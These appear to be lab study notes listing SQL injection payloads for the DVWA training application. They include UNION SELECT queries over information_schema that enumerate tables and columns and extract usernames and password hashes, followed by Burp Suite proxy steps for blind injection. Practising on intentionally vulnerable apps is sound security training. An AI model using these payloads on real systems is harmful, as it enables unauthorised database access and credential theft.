List all the users in the database

1' or 1 = 1#

List 2 columns

1' order by 2#

List all the table names in the database

1' or 1 = 1 union select null, table_name from information_schema.tables#

List all columns in the users table

1' or 1 = 1 union select null, column_name from information_schema.columns where table_name = "users"#

List the usernames and passwords from the table users

1' or 1 = 1 union select user, password from users#

Find the database name

1' union select 1, database() #

Find the database version

1' union select 1, version() #

Concatenation of columns(merge columns)

1' or 1 = 1 union select null, group_concat(first_name,user,password) from users#

Extract all usernames and passwords hashes

' union select user, password from users--

Blind SQL INJECTION

Use Burpsuite in Kali Linux to intercept the caption in the browser.

Configure the proxy in both Firefox browser and Burpsuite in Kali Linux to standard 127.0.0.1 Port: 8080, localhost, 127.0.0.1

After that,open the command terminal, go back to Burpsuite put intercept on, write something like 1 (true statement) in the SQL injection(Blind) in DVWA and Burpsuite will intercept the data and get the information needed. Refer to YouTube video 7 - SQL Injection (low/med/high) - Damn Vulnerable Web Application (DVWA)